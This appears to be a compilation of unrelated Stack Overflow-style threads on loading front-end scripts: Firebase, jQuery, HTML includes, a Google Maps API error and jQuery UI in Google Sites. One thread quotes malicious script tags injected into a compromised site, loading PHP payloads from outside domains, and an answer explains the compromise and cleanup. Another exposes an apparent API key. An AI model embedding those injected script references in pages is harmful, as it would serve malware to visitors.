When you want to add firebase to a web application it gives you some links to write in the html file. I've coppied and pasted those links in my project but an error appeared in the console. I've realized that writing (taking out "-app" in one of the links):
<script src="https://www.gstatic.com/firebasejs/7.12.0/firebase.js"></script>
instead of:
<script src="https://www.gstatic.com/firebasejs/7.12.0/firebase-app.js"></script>
works perfectly.
Is that normal? Am I doing something wrong?
As explained in the doc,
<script src="https://www.gstatic.com/firebasejs/7.11.0/firebase-app.js"></script>
is the core Firebase SDK and is always required and must be listed first. But then you need to add the imports for the other SDKs you plan to use, like, for example:
<script src="https://www.gstatic.com/firebasejs/7.11.0/firebase-auth.js"></script>
<script src="https://www.gstatic.com/firebasejs/7.11.0/firebase-firestore.js"></script>
On the other hand, you can include the entire Firebase JavaScript SDK, rather than individual SDKs, as follows:
<script src="https://www.gstatic.com/firebasejs/7.11.0/firebase.js"></script>
Doing this way, all the Firebase SDKs will be imported, but it is not recommended for production apps, as stated in the doc.
Related
I use JQuery in my django project quite often, and it hasn't been a problem so far. Even in my current project, I use it on multiple pages. But on one page, I get this error in the console:
Uncaught ReferenceError: $ is not defined
This is my JQuery Code:
$(document).ready(function(){
console.log("hello")
})
This is what I imported in my base.html:
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
Like I said I used JQuery a lot in this project so and it worked fine so far. I also did extend Base.html properly.
What could be the problem?
This error might be caused by these following things:
You're using the slim version of jQuery, that excludes all Ajax, effects and deprecated code, I am not familiar with this package, so you might want to try the normal package
jQuery is loaded after your script, in your case, you might have extended a block that is contextualized before importing jQuery or maybe some JavaScript is running before the page is loaded, and before jQuery is fully loaded
jQuery is not loaded due to network errors or Cross-origin resource sharing, check the network panel in devtools/firebug aswell as the console for logged errors, to check if it's loaded, try calling $ in your console
Try comparing how you imported jQuery in the other working templates. Are they extensions of the same base template? Are all of your blocks correctly named? Is your script being run after jQuery is imported?
I like working with the Brackets code editor for most of my projects. However, my team is doing a particular project right now for which we are going to need to create multiple re-usable components to provide prototype demos. We've used a GIT workflow to build all the various components and put them together on multiple prototype HTML pages.
However, every time the designer wants to make an update to a particular component/widget - we need to update it manually across all of the prototype pages.
I'm seeking a way to make a reusable code block like how Adobe Dreamweaver uses Library Items to streamline this workflow https://helpx.adobe.com/dreamweaver/using/library-items.html
I can't locate the equivalent in Brackets. I looked at this plugin https://github.com/chuyik/brackets-snippets - but I don't think it's what I need.
Is there a convenient solution to this? Perhaps I can just use import functions embedded in the HTML code to insert/import widget HTML code from another dir?
Update:
I have just attempted to use a JQuery solution as proposed here Include another HTML file in a HTML file but previewing the file locally - it does not appear to work. It gives an error like so
XMLHttpRequest cannot load file:///D:/Ryan%20GitHub/SLQ-Homepage-with-packery/html/widget-social.html. Cross origin requests are only supported for protocol schemes: http, data, chrome, chrome-extension, https, chrome-extension-resource.k.cors.a.crossDomain.send # jquery.js:8625
I think I need to try this on a local server - shame it won't work on local preview :#
Best solution I can come up with for the time being is to use jQuery as I'm already using the library for interactions on our pages.
<html>
<head>
<script src="jquery.js"></script>
<script>
$(function(){
$("#includedContent").load("b.html");
});
</script>
</head>
<body>
<div id="includedContent"></div>
</body>
</html>
Unfortunately, it does not work or preview locally in my Chrome browser because of the cross domain blocking protocol. It's not that fast either but it will do.
Well you could use PHP includes. They work similarly as what you are describing with jquery. Simply put, create the file that has the code you want and name it something.php Then do a simple php include.
<?php
include('something.php');
?>
You can also organize the includes into a folder called inc to keep it more organized. I do this for all my website for footers, nav's, menues, etc. I update one file and boom, it updates across every webpage at once. Been doing this for years. Hope this helps anyone else that comes across this, since it is an older thread.
I'm getting a consistent 403 forbidden error from Google Maps API, although I'm linking the API properly and am far from the request limits and using neither "client" nor "signature."
<script type="text/javascript" src="http://maps.googleapis.com/maps/api/js?v=3.4&key=AIzaSyDuaKJpqDygX3vtsLQuybrIcL6fmu-6Ht8&sensor=true"></script>
The issue is appearing here: http://local.americawantstowork.org/labor2014
Any ideas? The other pages using this exact code have no issues at all. :(
This page (can't say about the others, you didn't provide links to "working" pages) is including the Google Maps Javascript API v3 twice, once legally, once with local code copied from Google's servers (which is against the terms of service:
1st include (per documentation, includes the earliest version of the API available, not 3.4)):
<!-- include google maps if required -->
<script type="text/javascript" src="http://maps.googleapis.com/maps/api/js?v=3.4&key=AIzaSyDuaKJpqDygX3vtsLQuybrIcL6fmu-6Ht8&sensor=true"></script>
2nd include (copies of Google's loader and main.js files on your local server):
<!-- include google maps if required -->
<script type="text/javascript" src="/javascripts/js"></script>
<script src="javascripts/main.js" type="text/javascript"></script>
from the last:
getScript("http://maps.gstatic.com/mapfiles/api-3/15/21/main.js");
version 3.15 was just retired, so that will no longer work. (explains why it just "broke")
I also saved the Google Maps file locally and it stopped working after some time. I needed to add ?v=3.exp to the end of my URL to get it working
https://maps.googleapis.com/maps/api/js?v=3.exp
The answer from #geocodezip helped me. I can't comment because my reputation isn't high enough.
One friend is uploading flash files to my server with all the html package that the Flash CS6 editor suggests in its export command.
Well, despite all the Flash discussion and so, the problem is that eventually a very weird script references appear into the head element:
<!--339810--><script type="text/javascript">var gwloaded = false;</script>
<script src="http://techmounting.com.au/KsEsFOFC.php" type="text/javascript"></script><!--/339810-->
This script reference is not in the original html file.. this smells a virus, but I don't find any reference in the whole google.. I don't know if is a virus in my friend's computer or in my server or what.
Any idea?
Another examples (not in my server)
http://www.iu-jaen.es (no visit with browser)
http://www.alliedcarehomehealth.com (no visit with browser)
<script type="text/javascript">var gwloaded = false;</script>
<script src="http://shinhanvn.com.vn/Uploads/iOVAO5QT.php" type="text/javascript"></script>
Your web server has been compromised. TL;DR your website will display a content blocking interstitial to visiting users, which will direct them towards a suspicious binary download. The cause of the security breach is unclear, but I would take the normal precautions: reset relevant passwords, look for suspicious code snippets on PHP/javascript files.
Google also has a nice overview for some steps you can take to clean up your site (update third party plugins, change PWs, etc.):
https://support.google.com/webmasters/answer/163634
See this security posting from WebSense for a summary of the behavior of this attack:
http://community.websense.com/blogs/securitylabs/archive/tags/Mass+Injection/default.aspx
For the past 3 months I have been struggling with the Google sites "insert html box" to get the CDN to serve the Jquery user interface library-jqueryui- without any success.
I have used the following code and its variants without any themes but to no avail;
The jquery library loads fine but not the jqueryui library. The Google developer site suggests that this should work, but I only get these error messages - failed to load external url jquery-ui.css OR folding element body into parent
What am I doing wrong?? Getting frustrated here!
Apparently this is a known bug. Take a look at the answer here
There is a bug link to the actual issue and a possible workaround.
Following the hint about jQuery not always working in HTML boxes, I experimented and found that some versions of jQuery UI will load!
As of today, I was able to load the following versions:
1.8.21,
1.8.20,
1.8.18
or, using the direct links to Googleapis:
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.21/jquery-ui.min.js"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.20/jquery-ui.min.js"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.18/jquery-ui.min.js"></script>
All other versions mentioned on https://developers.google.com/speed/libraries/ would not load.
That being said, I encountered more trouble when trying to link to the CSS themes. I couldn't find any way to get an HTML box to accept links to googleapis hosted jQuery UI CSS files.
I tried pasting the CSS directly into the HTML box, but the url() links to images are not kosher. Commenting them out resulted in my getting the HTML box editor to be at peace, but the attempt to make tabbed panes work was not successful.
To say that one can do jQuery inside a Google Site is almost an exaggeration.